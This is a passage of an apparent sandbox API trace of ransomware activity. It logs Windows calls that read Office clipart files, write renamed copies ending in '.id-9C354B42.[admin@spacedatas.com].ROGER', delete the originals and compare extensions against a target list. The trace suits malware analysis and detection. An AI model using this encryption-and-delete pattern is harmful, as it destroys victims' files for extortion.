dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.992] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=26748) returned 1 [0060.992] CloseHandle (hObject=0x34c) returned 1 [0060.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x20 [0060.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0060.993] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.993] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0060.993] GetLastError () returned 0x0 [0060.993] ReadFile (in: hFile=0x34c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x687c, lpOverlapped=0x0) returned 1 [0060.995] WriteFile (in: hFile=0x3a4, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x6880, lpOverlapped=0x0) returned 1 [0060.996] ReadFile (in: hFile=0x34c, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.996] WriteFile (in: hFile=0x3a4, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.996] SetEndOfFile (hFile=0x3a4) returned 1 [0060.996] CloseHandle (hObject=0x3a4) returned 1 [0060.997] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.997] SetEndOfFile (hFile=0x34c) returned 1 [0060.998] CloseHandle (hObject=0x34c) returned 1 [0060.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0060.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0060.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0060.998] lstrlenW (lpString=".doc") returned 4 [0060.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.998] lstrlenW (lpString=".docx") returned 5 [0060.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.998] lstrlenW (lpString=".pdf") returned 4 [0060.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.998] lstrlenW (lpString=".xls") returned 4 [0060.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.998] lstrlenW (lpString=".xlsx") returned 5 [0060.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.998] lstrlenW (lpString=".ppt") returned 4 [0060.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0060.999] lstrlenW (lpString=".zip") returned 4 [0060.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.999] lstrlenW (lpString=".rar") returned 4 [0060.999] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.999] lstrlenW (lpString=".bz2") returned 4 [0060.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.999] lstrlenW (lpString=".7z") returned 3 [0060.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0060.999] lstrlenW (lpString=".dbf") returned 4 [0060.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0060.999] lstrlenW (lpString=".1cd") returned 4 [0060.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0060.999] lstrlenW (lpString=".jpg") returned 4 [0060.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0060.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0060.999] lstrlenW (lpString=".doc") returned 4 [0060.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.999] lstrlenW (lpString=".docx") returned 5 [0060.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.999] lstrlenW (lpString=".pdf") returned 4 [0060.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.999] lstrlenW (lpString=".xls") returned 4 [0060.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.999] lstrlenW (lpString=".xlsx") returned 5 [0060.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.999] lstrlenW (lpString=".ppt") returned 4 [0060.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0060.999] lstrlenW (lpString=".zip") returned 4 [0061.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.000] lstrlenW (lpString=".rar") returned 4 [0061.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.000] lstrlenW (lpString=".bz2") returned 4 [0061.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.000] lstrlenW (lpString=".7z") returned 3 [0061.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0061.000] lstrlenW (lpString=".dbf") returned 4 [0061.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0061.000] lstrlenW (lpString=".1cd") returned 4 [0061.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF") returned 63 [0061.091] lstrlenW (lpString=".jpg") returned 4 [0061.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.091] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.091] lstrlenW (lpString="BD09031_.WMF") returned 12 [0061.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.091] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=47786) returned 1 [0061.091] CloseHandle (hObject=0x3f8) returned 1 [0061.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0061.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.092] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.092] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.662] GetLastError () returned 0x0 [0061.662] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0xbaaa, lpOverlapped=0x0) returned 1 [0061.665] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xbab0, lpOverlapped=0x0) returned 1 [0061.666] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.666] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.666] SetEndOfFile (hFile=0x334) returned 1 [0061.666] CloseHandle (hObject=0x334) returned 1 [0061.667] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.667] SetEndOfFile (hFile=0x3f8) returned 1 [0061.668] CloseHandle (hObject=0x3f8) returned 1 [0061.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1 [0061.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0061.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0061.668] lstrlenW (lpString=".doc") returned 4 [0061.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.668] lstrlenW (lpString=".docx") returned 5 [0061.668] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.668] lstrlenW (lpString=".pdf") returned 4 [0061.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.668] lstrlenW (lpString=".xls") returned 4 [0061.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.668] lstrlenW (lpString=".xlsx") returned 5 [0061.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.669] lstrlenW (lpString=".ppt") returned 4 [0061.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0061.669] lstrlenW (lpString=".zip") returned 4 [0061.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.669] lstrlenW (lpString=".rar") returned 4 [0061.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.669] lstrlenW (lpString=".bz2") returned 4 [0061.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.669] lstrlenW (lpString=".7z") returned 3 [0061.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0061.669] lstrlenW (lpString=".dbf") returned 4 [0061.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0061.669] lstrlenW (lpString=".1cd") returned 4 [0061.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0061.669] lstrlenW (lpString=".jpg") returned 4 [0061.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0061.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0061.669] lstrlenW (lpString=".doc") returned 4 [0061.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.669] lstrlenW (lpString=".docx") returned 5 [0061.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.669] lstrlenW (lpString=".pdf") returned 4 [0061.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.669] lstrlenW (lpString=".xls") returned 4 [0061.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.669] lstrlenW (lpString=".xlsx") returned 5 [0061.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.669] lstrlenW (lpString=".ppt") returned 4 [0061.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0061.670] lstrlenW (lpString=".zip") returned 4 [0061.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.670] lstrlenW (lpString=".rar") returned 4 [0061.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.670] lstrlenW (lpString=".bz2") returned 4 [0061.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.670] lstrlenW (lpString=".7z") returned 3 [0061.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0061.670] lstrlenW (lpString=".dbf") returned 4 [0061.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0061.670] lstrlenW (lpString=".1cd") returned 4 [0061.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63 [0061.670] lstrlenW (lpString=".jpg") returned 4 [0061.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.670] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.670] lstrlenW (lpString="BD09194_.WMF") returned 12 [0061.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.671] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=14540) returned 1 [0061.671] CloseHandle (hObject=0x3f8) returned 1 [0061.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0061.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.671] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.671] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0061.671] GetLastError () returned 0x0 [0061.671] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x38cc, lpOverlapped=0x0) returned 1 [0061.673] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x38d0, lpOverlapped=0x0) returned 1 [0061.674] ReadFile (in: hFile=0x3f8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.674] WriteFile (in: hFile=0x334, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.674] SetEndOfFile (hFile=0x334) returned 1 [0061.674] CloseHandle (hObject=0x334) returned 1 [0061.675] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.675] SetEndOfFile (hFile=0x3f8) returned 1 [0061.675] CloseHandle (hObject=0x3f8) returned 1 [0061.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0061.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0061.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0061.676] lstrlenW (lpString=".doc") returned 4 [0061.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.676] lstrlenW (lpString=".docx") returned 5 [0061.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.676] lstrlenW (lpString=".pdf") returned 4 [0061.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.676] lstrlenW (lpString=".xls") returned 4 [0061.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.676] lstrlenW (lpString=".xlsx") returned 5 [0061.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.676] lstrlenW (lpString=".ppt") returned 4 [0061.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0061.676] lstrlenW (lpString=".zip") returned 4 [0061.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.676] lstrlenW (lpString=".rar") returned 4 [0061.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.676] lstrlenW (lpString=".bz2") returned 4 [0061.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.677] lstrlenW (lpString=".7z") returned 3 [0061.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0061.677] lstrlenW (lpString=".dbf") returned 4 [0061.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0061.677] lstrlenW (lpString=".1cd") returned 4 [0061.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0061.677] lstrlenW (lpString=".jpg") returned 4 [0061.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0061.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0061.677] lstrlenW (lpString=".doc") returned 4 [0061.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.677] lstrlenW (lpString=".docx") returned 5 [0061.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.677] lstrlenW (lpString=".pdf") returned 4 [0061.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.677] lstrlenW (lpString=".xls") returned 4 [0061.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.677] lstrlenW (lpString=".xlsx") returned 5 [0061.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.677] lstrlenW (lpString=".ppt") returned 4 [0061.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0061.677] lstrlenW (lpString=".zip") returned 4 [0061.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.677] lstrlenW (lpString=".rar") returned 4 [0061.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.677] lstrlenW (lpString=".bz2") returned 4 [0061.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.677] lstrlenW (lpString=".7z") returned 3 [0061.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0061.678] lstrlenW (lpString=".dbf") returned 4 [0061.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0061.678] lstrlenW (lpString=".1cd") returned 4 [0061.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 63 [0061.678] lstrlenW (lpString=".jpg") returned 4 [0061.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.678] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.678] lstrlenW (lpString="BD09662_.WMF") returned 12 [0061.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0061.678] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=20554) returned 1 [0061.678] CloseHandle (hObject=0x3f8) returned 1 [0061.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0061.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: 